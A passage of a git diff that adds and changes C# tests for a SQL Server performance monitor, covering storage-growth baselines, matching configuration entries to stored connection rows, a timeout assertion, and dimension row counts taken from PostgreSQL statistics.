+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !File.Exists(Path.Combine(dir, "Lite", "Services", "LocalDataService.FinOps.IndexObjects.cs")))
+            dir = Path.GetDirectoryName(dir);
+        Assert.NotNull(dir);
+        var source = File.ReadAllText(Path.Combine(dir, "Lite", "Services", "LocalDataService.FinOps.IndexObjects.cs"));
+
+        Assert.Equal(2, CountOf(source, "COALESCE(e.e_reserved_mb, 0)"));
+        Assert.DoesNotContain("COALESCE(e.e_reserved_mb, l.cur_reserved_mb)", source, StringComparison.Ordinal);
+        Assert.Equal(2, CountOf(source, "growth_mb DESC NULLS LAST, l.schema_name, l.table_name"));
+    }
+
+    [Fact]
+    public async Task TheGridAndTheHeatmap_CutTheSameTopN_AndRankATableCreatedInTheWindowByItsWholeSize()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live storage growth test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(cs!, ct);
+        var earliest = new DateTime(2026, 3, 1, 0, 10, 0, DateTimeKind.Unspecified);
+        var latest = new DateTime(2026, 3, 31, 0, 10, 0, DateTimeKind.Unspecified);
+        await using (var c = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await c.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(c, ct);
+            await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+
+            /* Two growing, three unchanged, two shrinking, one table that exists only at the latest instant and is the
+               biggest, and one whose latest size is unknown. */
+            foreach (var (table, before, after) in new (string, decimal?, decimal?)[]
+                     {
+                         ("Grow1", 100m, 150m), ("Grow2", 100m, 130m),
+                         ("Flat1", 50m, 50m), ("Flat2", 50m, 50m), ("Flat3", 50m, 50m),
+                         ("Shrink1", 200m, 150m), ("Shrink2", 200m, 100m),
+                         ("NewBig", null, 400m),
+                         ("NoSize", 10m, null),
+                     })
+            {
+                if (before != null) await SeedAsync(c, table, earliest, before, ct);
+                await SeedAsync(c, table, latest, after, ct);
+            }
+        }
+
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var (objects, samples) = await DarlingFinOpsStorageGrowthReader.GetObjectGrowthHeatmapDataAsync(
+            ds, ServerId, "cutdb", earliest.Date, 30, 5, 30, ct);
+
+        var summaryTables = objects.Select(o => o.TableName).ToArray();
+        var seriesTables = samples.Select(s => s.ObjectKey.Split('.')[1]).Distinct().OrderBy(t => t, StringComparer.Ordinal).ToArray();
+        Assert.Equal(new[] { "NewBig", "Grow1", "Grow2", "Flat1", "Flat2" }, summaryTables);
+        Assert.Equal(summaryTables.OrderBy(t => t, StringComparer.Ordinal).ToArray(), seriesTables);
+
+        var added = objects[0];
+        Assert.Equal("NewBig", added.TableName);
+        Assert.Equal(400m, added.Growth30dMb!.Value);
+        Assert.Null(added.GrowthPct30d);
+        Assert.DoesNotContain(summaryTables, t => t.StartsWith("Shrink", StringComparison.Ordinal));
+        Assert.DoesNotContain(seriesTables, t => t.StartsWith("Shrink", StringComparison.Ordinal));
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var i = text.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = text.IndexOf(needle, i + needle.Length, StringComparison.Ordinal)) count++;
+        return count;
+    }
+
+    private static Task SeedAsync(NpgsqlConnection c, string table, DateTime at, decimal? reservedMb, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO index_object_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows, user_seeks, user_scans, user_lookups, user_updates)
+              VALUES ($1,$2,$3,$4,'cutdb','dbo',$5,$6,1,$7,'CLUSTERED',$8,$8,1000,0,0,0,0)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, 100 + table.Length, table, "PK_" + table, (object?)reservedMb ?? DBNull.Value);
+}
diff --git a/Darling/Darling.Tests/StorageGrowthNoHistoryLiveTests.cs b/Darling/Darling.Tests/StorageGrowthNoHistoryLiveTests.cs
index e033a3ed9e..555ea6cb8c 100644
--- a/Darling/Darling.Tests/StorageGrowthNoHistoryLiveTests.cs
+++ b/Darling/Darling.Tests/StorageGrowthNoHistoryLiveTests.cs
@@ -48,16 +48,18 @@ public async Task ADatabaseWithNoPastRowReadsGrowthAsUnknown_NotZero()
             var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
 
-            /* fresh: only the newest snapshot. weekold: also a snapshot 8 days back. full: snapshots 31 and 8 days back. */
+            /* fresh: only the newest snapshot. weekold: also a snapshot 7.5 days back. full: snapshots 30.5 and 7.5 days back. A baseline is
+               the snapshot nearest its 7 or 30 day mark within one day, so 7.5 and 30.5 sit inside the tolerance, and the daily rate
+               divides by the real span (7.5 and 30.5 days): a fixed 7 or 30 divisor would give a different figure. */
             await SeedAsync(connection, "fresh", now, 500m, ct);
             await SeedAsync(connection, "weekold", now, 500m, ct);
-            await SeedAsync(connection, "weekold", now.AddDays(-8), 400m, ct);
+            await SeedAsync(connection, "weekold", now.AddDays(-7.5), 400m, ct);
             await SeedAsync(connection, "full", now, 500m, ct);
-            await SeedAsync(connection, "full", now.AddDays(-8), 450m, ct);
-            await SeedAsync(connection, "full", now.AddDays(-31), 300m, ct);
+            await SeedAsync(connection, "full", now.AddDays(-7.5), 450m, ct);
+            await SeedAsync(connection, "full", now.AddDays(-30.5), 300m, ct);
 
             await using var viewer = new ViewerDataService(cs!);
-            var rows = await viewer.GetStorageGrowthAsync(ServerId, ct);
+            var rows = await viewer.GetStorageGrowthAsync(ServerId, cancellationToken: ct);
 
             var fresh = Assert.Single(rows, r => r.DatabaseName == "fresh");
             Assert.Equal(500m, fresh.CurrentSizeMb);
@@ -69,13 +71,13 @@ public async Task ADatabaseWithNoPastRowReadsGrowthAsUnknown_NotZero()
             var weekOld = Assert.Single(rows, r => r.DatabaseName == "weekold");
             Assert.Equal(100m, (decimal?)weekOld.Growth7dMb);
             Assert.Null((object?)weekOld.Growth30dMb);
-            Assert.Equal(100m / 8m, weekOld.DailyGrowthRateMb!.Value, 4);
+            Assert.Equal(100m / 7.5m, weekOld.DailyGrowthRateMb!.Value, 4);
             Assert.Null((object?)weekOld.GrowthPct30d);
 
             var full = Assert.Single(rows, r => r.DatabaseName == "full");
             Assert.Equal(50m, (decimal?)full.Growth7dMb);
             Assert.Equal(200m, (decimal?)full.Growth30dMb);
-            Assert.Equal(200m / 31m, full.DailyGrowthRateMb!.Value, 4);
+            Assert.Equal(200m / 30.5m, full.DailyGrowthRateMb!.Value, 4);
             Assert.Equal(200m * 100m / 300m, full.GrowthPct30d!.Value, 4);
 
             /* Largest 30-day growth first; a database with no 30-day figure sorts after, by its 7-day growth. */
@@ -89,6 +91,57 @@ public async Task ADatabaseWithNoPastRowReadsGrowthAsUnknown_NotZero()
         }
     }
 
+    [Fact]
+    public async Task ASixDayHistoryGivesARealSevenDayBaseline_AndNothingFor30Days()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live storage growth test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DeleteRowsAsync(connection, ct);
+            var now = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            /* A store that has run for 6 days: the oldest sample is 6 days back, one day from the 7-day mark and so inside the tolerance, so
+               it is the 7-day baseline. "flat" never changed, so its baseline equals its current size and its growth is a real 0. Neither
+               has a sample near 30 days ago, so the 30-day figures are unknown. */
+            foreach (var (daysAgo, grown, flat) in new[] { (6, 600m, 500m), (4, 700m, 500m), (2, 900m, 500m), (0, 1000m, 500m) })
+            {
+                await SeedAsync(connection, "grown", now.AddDays(-daysAgo), grown, ct);
+                await SeedAsync(connection, "flat", now.AddDays(-daysAgo), flat, ct);
+            }
+
+            await using var viewer = new ViewerDataService(cs!);
+            var rows = await viewer.GetStorageGrowthAsync(ServerId, cancellationToken: ct);
+
+            var grownRow = Assert.Single(rows, r => r.DatabaseName == "grown");
+            Assert.Equal(600m, grownRow.Size7dAgoMb);
+            Assert.Equal(400m, grownRow.Growth7dMb);
+            Assert.Null(grownRow.Size7dAgoNote);
+            Assert.Null(grownRow.Size30dAgoMb);
+            Assert.Null(grownRow.Growth30dMb);
+            Assert.Equal("No sample from 30 days ago", grownRow.Size30dAgoNote);
+
+            var flatRow = Assert.Single(rows, r => r.DatabaseName == "flat");
+            Assert.Equal(500m, flatRow.Size7dAgoMb);
+            Assert.Equal(0m, flatRow.Growth7dMb);
+            Assert.Null(flatRow.Size30dAgoMb);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, DeleteRowsAsync);
+        }
+    }
+
     [Fact]
     public async Task AStaleServerReadsGrowthAsUnknown_AndTheRateUsesTheRealElapsedDays()
     {
@@ -111,21 +164,32 @@ public async Task AStaleServerReadsGrowthAsUnknown_AndTheRateUsesTheRealElapsedD
 
             /* Collection stopped 20 days ago: "at or before 7 days ago" is the latest snapshot itself, which is no comparison. */
             await SeedAsync(connection, "stale", now.AddDays(-20), 500m, ct);
-            var stale = Assert.Single(await viewer.GetStorageGrowthAsync(ServerId, ct));
+            var stale = Assert.Single(await viewer.GetStorageGrowthAsync(ServerId, cancellationToken: ct));
             Assert.Null(stale.Size7dAgoMb);
             Assert.Null(stale.Growth7dMb);
             Assert.Null(stale.Growth30dMb);
             Assert.Null(stale.DailyGrowthRateMb);
             Assert.Null(stale.GrowthPct30d);
 
-            /* The "7-day" past is really 12 days old after a collection gap: the rate is over those 12 days. */
+            /* The "7-day" past is really 12 days old after a collection gap: that is not within a day of the 7-day mark, so there is no
+               7-day baseline at all (unknown, never a 12-day figure labelled 7 days). */
             await DeleteRowsAsync(connection, ct);
             await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
             await SeedAsync(connection, "gap", now, 500m, ct);
             await SeedAsync(connection, "gap", now.AddDays(-12), 380m, ct);
-            var gap = Assert.Single(await viewer.GetStorageGrowthAsync(ServerId, ct));
-            Assert.Equal(120m, gap.Growth7dMb!.Value);
-            Assert.Equal(120m / 12m, gap.DailyGrowthRateMb!.Value, 4);
+            var gap = Assert.Single(await viewer.GetStorageGrowthAsync(ServerId, cancellationToken: ct));
+            Assert.Null(gap.Size7dAgoMb);
+            Assert.Null(gap.Growth7dMb);
+            Assert.Null(gap.DailyGrowthRateMb);
+
+            /* A past 7.5 days old (inside the tolerance) is the 7-day baseline, and the rate is over its real 7.5 days. */
+            await DeleteRowsAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await SeedAsync(connection, "near", now, 500m, ct);
+            await SeedAsync(connection, "near", now.AddDays(-7.5), 380m, ct);
+            var near = Assert.Single(await viewer.GetStorageGrowthAsync(ServerId, cancellationToken: ct));
+            Assert.Equal(120m, near.Growth7dMb!.Value);
+            Assert.Equal(120m / 7.5m, near.DailyGrowthRateMb!.Value, 4);
 
             bodySucceeded = true;
         }
@@ -136,7 +200,7 @@ public async Task AStaleServerReadsGrowthAsUnknown_AndTheRateUsesTheRealElapsedD
     }
 
     [Fact]
-    public async Task TheTableDrillReadsGrowthAsUnknown_ForATableWithNoEarlierSample()
+    public async Task TheTableDrillCountsATableCreatedInTheWindowByItsWholeSize_AndReadsOneSnapshotAsUnknown()
     {
         var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
         Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live storage growth test.");
@@ -163,7 +227,7 @@ public async Task TheTableDrillReadsGrowthAsUnknown_ForATableWithNoEarlierSample
             Assert.Null(only.DailyGrowthRateMb);
             Assert.Null(only.GrowthPct30d);
 
-            /* Two snapshots: a table in both has growth, a table added since has none. */
+            /* Two snapshots: a table in both has growth, a table added since counts its whole size. */
             await SeedTableAsync(connection, "Old", now.AddDays(-10), 100m, ct);
             await SeedTableAsync(connection, "Old", now, 150m, ct);
             await SeedTableAsync(connection, "NewTable", now, 30m, ct);
@@ -173,9 +237,11 @@ public async Task TheTableDrillReadsGrowthAsUnknown_ForATableWithNoEarlierSample
             Assert.Equal(50m / 30m, old.DailyGrowthRateMb!.Value, 4);
             Assert.Equal(50m * 100m / 100m, old.GrowthPct30d!.Value, 4);
             var added = Assert.Single(objects, o => o.TableName == "NewTable");
-            Assert.Null(added.Growth30dMb);
+            Assert.Equal(30m, added.Growth30dMb!.Value);
+            Assert.Equal(30m / 30m, added.DailyGrowthRateMb!.Value, 4);
             Assert.Null(added.GrowthPct30d);
-            Assert.Equal("Old", objects[0].TableName);
+            /* OnlyNow (100 MB) is absent from the earlier snapshot too, so it counts its whole size and ranks first. */
+            Assert.Equal(new[] { "OnlyNow", "Old", "NewTable" }, objects.Select(x => x.TableName).ToArray());
 
             bodySucceeded = true;
         }
diff --git a/Darling/Darling.Tests/StoreApplicationNameCensusTests.cs b/Darling/Darling.Tests/StoreApplicationNameCensusTests.cs
index 3ccbb79ed4..a044d4f2c8 100644
--- a/Darling/Darling.Tests/StoreApplicationNameCensusTests.cs
+++ b/Darling/Darling.Tests/StoreApplicationNameCensusTests.cs
@@ -33,6 +33,7 @@ namespace Darling.Tests;
 /// <c>WithApplicationName(</c> call on the same line, the same round-1-review discipline the TZ census
 /// applies to its own pin).</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class StoreApplicationNameCensusTests
 {
     /* Same floors as StoreSessionTimeZonePinCensusTests: this scan finds the identical 29 call sites (the
@@ -63,6 +64,9 @@ makes no sense — a monitored target's own pg_stat_activity is the target's bus
         "DarlingWorker.cs:ReadPgStatementTextAsync",
         "DarlingWorker.cs:RunTestHypotheticalIndexAsync",
 
+        /* The RDS endpoint check's fresh unpooled login to the MONITORED target (runtime.ConnectionString), never the store. */
+        "RdsEndpointVerifier.cs:ProbeLoginAsync",
+
         /* DarlingWorker's custom-alert viewer source (#4479): its connection string comes from either
            DarlingManagedPostgres.TryBuildViewerConnectionStringFromStoredCredential (BuildRoleConnectionString,
            WebApplicationName) or DarlingStoreLogins.ResolveComposeCustomAlertViewerAsync (which returns
diff --git a/Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs b/Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs
new file mode 100644
index 0000000000..eea60dffad
--- /dev/null
+++ b/Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A darling.json entry and a store row are the same connection only when they agree on all ten connection settings plus
+/// engine (<c>ConnectionSettingsDiffer</c>, authentication compared ignoring case). The file entry's secret is copied into a
+/// row that has none, and a reference the file declares is marked on a row, only for such a row.
+/// </summary>
+public sealed class StoreConfigProviderConnectionMatchTests
+{
+    private const string FileSecret = "file-secret-value-Q7";
+    private const string DeclaredReference = "env:DARLING_TEST_DECLARED_REFERENCE_5374";
+
+    private static MonitoredServer Entry() => new()
+    {
+        Name = "alpha",
+        Host = "alpha.example.test",
+        Port = 1433,
+        Database = "master",
+        Auth = "sql",
+        Username = "monitor",
+        EncryptMode = "Mandatory",
+        TrustServerCertificate = false,
+        MultiSubnetFailover = false,
+        ReadOnlyIntent = false,
+        Engine = "sqlserver",
+        EncryptedPassword = FileSecret,
+        EncryptedPasswordDeclaredByFile = true,
+    };
+
+    private static MonitoredServer RowLike(MonitoredServer entry, string? secret) => new()
+    {
+        Name = entry.Name,
+        StoredServerId = entry.ServerId,
+        Host = entry.Host,
+        Port = entry.Port,
+        Database = entry.Database,
+        Auth = entry.Auth,
+        Username = entry.Username,
+        EncryptMode = entry.EncryptMode,
+        TrustServerCertificate = entry.TrustServerCertificate,
+        MultiSubnetFailover = entry.MultiSubnetFailover,
+        ReadOnlyIntent = entry.ReadOnlyIntent,
+        Engine = entry.Engine,
+        EncryptedPassword = secret,
+    };
+
+    public static IEnumerable<object[]> OneFieldDiffers() =>
+        new[] { "encrypt mode", "trust certificate", "multi-subnet", "auth kind", "username", "database", "read-only", "engine", "port", "host" }
+            .Select(f => new object[] { f });
+
+    private static void Change(string field, MonitoredServer r)
+    {
+        switch (field)
+        {
+            case "encrypt mode": r.EncryptMode = "Optional"; break;
+            case "trust certificate": r.TrustServerCertificate = true; break;
+            case "multi-subnet": r.MultiSubnetFailover = true; break;
+            case "auth kind": r.Auth = "serviceprincipal"; break;
+            case "username": r.Username = "other"; break;
+            case "database": r.Database = "tempdb"; break;
+            case "read-only": r.ReadOnlyIntent = true; break;
+            case "engine": r.Engine = "postgresql"; break;
+            case "port": r.Port = 1434; break;
+            case "host": r.Host = "beta.example.test"; break;
+            default: throw new ArgumentException(field);
+        }
+    }
+
+    [Fact]
+    public void TheEqualRow_GetsTheFileSecret()
+    {
+        var entry = Entry();
+        var row = RowLike(entry, null);
+
+        StoreConfigProvider.BackfillSecretFromFile(row, new DarlingConfig { Servers = [entry] });
+
+        Assert.Equal(FileSecret, row.EncryptedPassword);
+    }
+
+    [Theory]
+    [MemberData(nameof(OneFieldDiffers))]
+    public void ARowThatDiffersInOneField_GetsNoFileSecret(string field)
+    {
+        var entry = Entry();
+        var row = RowLike(entry, null);
+        Change(field, row);
+
+        StoreConfigProvider.BackfillSecretFromFile(row, new DarlingConfig { Servers = [entry] });
+
+        Assert.True(string.IsNullOrEmpty(row.EncryptedPassword), field);
+        Assert.Null(row.Password);
+    }
+
+    [Fact]
+    public void TheEqualRow_GetsTheDeclaredMark()
+    {
+        var entry = Entry();
+        entry.EncryptedPassword = DeclaredReference;
+        var row = RowLike(entry, DeclaredReference);
+
+        StoreConfigProvider.MarkSlotsTheFileDeclares(row, new DarlingConfig { Servers = [entry] });
+
+        Assert.True(row.EncryptedPasswordDeclaredByFile);
+    }
+
+    [Theory]
+    [MemberData(nameof(OneFieldDiffers))]
+    public void ARowThatDiffersInOneField_GetsNoDeclaredMark(string field)
+    {
+        var entry = Entry();
+        entry.EncryptedPassword = DeclaredReference;
+        var row = RowLike(entry, DeclaredReference);
+        Change(field, row);
+
+        StoreConfigProvider.MarkSlotsTheFileDeclares(row, new DarlingConfig { Servers = [entry] });
+
+        Assert.False(row.EncryptedPasswordDeclaredByFile, field);
+    }
+
+    [Fact]
+    public void TheEqualRow_GetsTheRemediationDeclaredMark()
+    {
+        var entry = Entry();
+        entry.RemediationUsername = "fixer";
+        entry.RemediationEncryptedPassword = DeclaredReference;
+        entry.RemediationEncryptedPasswordDeclaredByFile = true;
+        var row = RowLike(entry, null);
+        row.RemediationUsername = "fixer";
+        row.RemediationEncryptedPassword = DeclaredReference;
+
+        StoreConfigProvider.MarkSlotsTheFileDeclares(row, new DarlingConfig { Servers = [entry] });
+
+        Assert.True(row.RemediationEncryptedPasswordDeclaredByFile);
+    }
+
+    [Theory]
+    [InlineData("other-fixer")]
+    [InlineData("")]
+    [InlineData(null)]
+    public void ARowWithAnotherRemediationUsername_GetsNoRemediationDeclaredMark(string? rowUsername)
+    {
+        /* #5366: the remediation reference is declared for one remediation login; a row that names another (or none) is not it. */
+        var entry = Entry();
+        entry.RemediationUsername = "fixer";
+        entry.RemediationEncryptedPassword = DeclaredReference;
+        entry.RemediationEncryptedPasswordDeclaredByFile = true;
+        var row = RowLike(entry, null);
+        row.RemediationUsername = rowUsername;
+        row.RemediationEncryptedPassword = DeclaredReference;
+
+        StoreConfigProvider.MarkSlotsTheFileDeclares(row, new DarlingConfig { Servers = [entry] });
+
+        Assert.False(row.RemediationEncryptedPasswordDeclaredByFile);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreConnectionStringAppendPinTests.cs b/Darling/Darling.Tests/StoreConnectionStringAppendPinTests.cs
index 58249e91be..60b451d2cb 100644
--- a/Darling/Darling.Tests/StoreConnectionStringAppendPinTests.cs
+++ b/Darling/Darling.Tests/StoreConnectionStringAppendPinTests.cs
@@ -28,6 +28,7 @@ namespace Darling.Tests;
 /// including an explicit empty one, must survive byte for byte, and the output must literally start with the
 /// caller's own string.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class StoreConnectionStringAppendPinTests
 {
     /// <summary>Each row is independently valid Npgsql connection-string content and exercises one of the
diff --git a/Darling/Darling.Tests/StoreCopyPhaseLivePostgresTests.cs b/Darling/Darling.Tests/StoreCopyPhaseLivePostgresTests.cs
index f2aa211557..6a40569577 100644
--- a/Darling/Darling.Tests/StoreCopyPhaseLivePostgresTests.cs
+++ b/Darling/Darling.Tests/StoreCopyPhaseLivePostgresTests.cs
@@ -229,8 +229,8 @@ fault the runner itself raised. */
     /// deadline is a bare <see cref="TimeoutException"/> carrying
     /// <see cref="StoreCopyStartDeadline.BreachMessage"/>. Remove the bound and this test does not fail
     /// slowly or ambiguously: it waits for the connection's timeout and then fails on the type. The
-    /// elapsed range is asserted on both sides as well, so a deadline accidentally written in
-    /// milliseconds cannot satisfy the type and message alone.</para>
+    /// elapsed floor is asserted as well, so a deadline accidentally written in
+    /// milliseconds cannot satisfy the type and message alone (#5602: the ceiling is the type and message).</para>
     ///
     /// <para><b>It really does cost the sweep deadline in wall clock</b>, and that is the price of driving
     /// the SHIPPED private body rather than a copy: the production call site takes
@@ -295,13 +295,17 @@ arrives as an NpgsqlException wrapping one of these and would satisfy an assigna
            from the re-attempt gate, and would be reported as an orderly stop. */
         Assert.IsNotAssignableFrom<OperationCanceledException>(fault);
 
-        /* It fired on its own clock rather than the connection's. Both sides: the upper bound is what says
-           Npgsql's timeout did not do this, and the lower bound is what a deadline written in
-           milliseconds would fail. */
-        Assert.InRange(
-            clock.Elapsed,
-            StoreCopyStartDeadline.Deadline - TimeSpan.FromSeconds(1),
-            TimeSpan.FromSeconds(commandTimeoutSeconds));
+        /* It fired on its own clock rather than the connection's. #5602: the LOWER bound only, as a clock check.
+           What a deadline written in milliseconds would fail is this floor, and load can only lengthen an
+           elapsed time, never shorten it, so it cannot flake. The upper bound this used to carry (the
+           connection's command timeout) is now held by the work: Npgsql's own timeout arrives as an
+           NpgsqlException wrapping a TimeoutException, which the exact-type and exact-message assertions above
+           already reject, so a late-firing deadline on a loaded runner no longer fails and the bug the upper
+           bound was written for, "the connection's bound ended the stall", still does. */
+        Assert.True(
+            clock.Elapsed >= StoreCopyStartDeadline.Deadline - TimeSpan.FromSeconds(1),
+            $"The start phase gave up after {clock.Elapsed.TotalSeconds:F1}s, before the sweep deadline "
+            + $"({StoreCopyStartDeadline.Deadline.TotalSeconds:F0}s) less a second: the deadline is not the sweep deadline.");
 
         /* And the consequences the phase axis carries, on this fault: it is a transport fault, it is
            start-phase, so the gate accepts it — a re-attempt after a start-phase stall is exactly-once and
diff --git a/Darling/Darling.Tests/StoreDimensionRowCountLiveTests.cs b/Darling/Darling.Tests/StoreDimensionRowCountLiveTests.cs
new file mode 100644
index 0000000000..55b171ed58
--- /dev/null
+++ b/Darling/Darling.Tests/StoreDimensionRowCountLiveTests.cs
@@ -0,0 +1,134 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5520: the dimension rows of <c>collect.store_metrics</c> take <c>row_count</c> from <c>pg_class.reltuples</c>,
+/// not from a <c>count(*)</c> over the dimension table (149,562 blocks and 25.9 s a call on a large store). The
+/// estimate is NULL where PostgreSQL reports <c>-1</c> (never vacuumed or analysed), like the table kind's, and the
+/// scan is gone from the statement.
+/// </summary>
+public sealed class StoreDimensionRowCountLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the dimension row_count pins (each mints its own scratch database).";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void TheDimensionSweep_TakesRowCountFromReltuples_AndNeverScansTheDimension()
+    {
+        var sql = StoreSelfMetrics.DimensionInsertSql;
+
+        Assert.DoesNotContain("count(*)", sql, StringComparison.OrdinalIgnoreCase);
+        foreach (var dim in new[] { PayloadDimensions.QueryTextDimTable, PayloadDimensions.QueryPlanDimTable })
+        {
+            /* -1 (never vacuumed or analysed, PostgreSQL 14+) is NULL, never a count of minus one. */
+            Assert.Contains(
+                $"(SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class AS c WHERE c.oid = 'collect.{dim}'::regclass),",
+                sql, StringComparison.Ordinal);
+            Assert.DoesNotContain($"FROM collect.{dim})", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public async Task TheDimensionRowCount_IsTheAnalyzedEstimate_AndNullWhereTheTableWasNeverAnalyzed()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, $"TRUNCATE collect.{PayloadDimensions.QueryTextDimTable}, collect.{PayloadDimensions.QueryPlanDimTable}", ct);
+            for (var i = 0; i < 5; i++)
+            {
+                await ExecAsync(connection,
+                    $"INSERT INTO collect.{PayloadDimensions.QueryTextDimTable} ({PayloadDimensions.DigestColumn}, {PayloadDimensions.PayloadColumnOf(PayloadDimensions.QueryTextDimTable)}, {PayloadDimensions.LastSeenColumn}) " +
+                    $"VALUES (decode('{i:x2}', 'hex'), 'text {i}', now() AT TIME ZONE 'UTC')", ct);
+            }
+
+            for (var i = 0; i < 3; i++)
+            {
+                await ExecAsync(connection,
+                    $"INSERT INTO collect.{PayloadDimensions.QueryPlanDimTable} ({PayloadDimensions.DigestColumn}, {PayloadDimensions.PayloadColumnOf(PayloadDimensions.QueryPlanDimTable)}, {PayloadDimensions.LastSeenColumn}) " +
+                    $"VALUES (decode('{i:x2}', 'hex'), '<plan {i}/>', now() AT TIME ZONE 'UTC')", ct);
+            }
+
+            /* Never analysed: reltuples is -1 on PostgreSQL 14+, so the figure is NULL. An autovacuum that got there
+               first would have set it, so the expectation follows the catalog rather than assuming it. */
+            var beforeAnalyze = await SweepAsync(connection, DateTime.UtcNow, ct);
+            foreach (var dim in new[] { PayloadDimensions.QueryTextDimTable, PayloadDimensions.QueryPlanDimTable })
+            {
+                var reltuples = await ReltuplesAsync(connection, dim, ct);
+                Assert.Equal(reltuples >= 0 ? (long?)reltuples : null, beforeAnalyze[dim]);
+            }
+
+            /* Analysed: the estimate of a table this small is its row count. */
+            await ExecAsync(connection, $"ANALYZE collect.{PayloadDimensions.QueryTextDimTable}", ct);
+            await ExecAsync(connection, $"ANALYZE collect.{PayloadDimensions.QueryPlanDimTable}", ct);
+            var afterAnalyze = await SweepAsync(connection, DateTime.UtcNow.AddMinutes(1), ct);
+            Assert.Equal(5L, afterAnalyze[PayloadDimensions.QueryTextDimTable]);
+            Assert.Equal(3L, afterAnalyze[PayloadDimensions.QueryPlanDimTable]);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    private static async Task<Dictionary<string, long?>> SweepAsync(NpgsqlConnection connection, DateTime metricTimeUtc, CancellationToken ct)
+    {
+        var metricTime = DateTime.SpecifyKind(new DateTime(metricTimeUtc.Ticks - (metricTimeUtc.Ticks % TimeSpan.TicksPerSecond)), DateTimeKind.Unspecified);
+        await using (var sweep = new NpgsqlCommand(StoreSelfMetrics.DimensionInsertSql, connection))
+        {
+            sweep.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = metricTime });
+            Assert.Equal(2, await sweep.ExecuteNonQueryAsync(ct));
+        }
+
+        var rows = new Dictionary<string, long?>();
+        await using var read = new NpgsqlCommand(
+            "SELECT object_name, row_count FROM collect.store_metrics WHERE object_kind = 'dimension' AND metric_time = $1", connection);
+        read.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = metricTime });
+        await using var reader = await read.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows[reader.GetString(0)] = reader.IsDBNull(1) ? null : reader.GetInt64(1);
+        }
+
+        return rows;
+    }
+
+    private static async Task<double> ReltuplesAsync(NpgsqlConnection connection, string dim, CancellationToken ct)
+    {
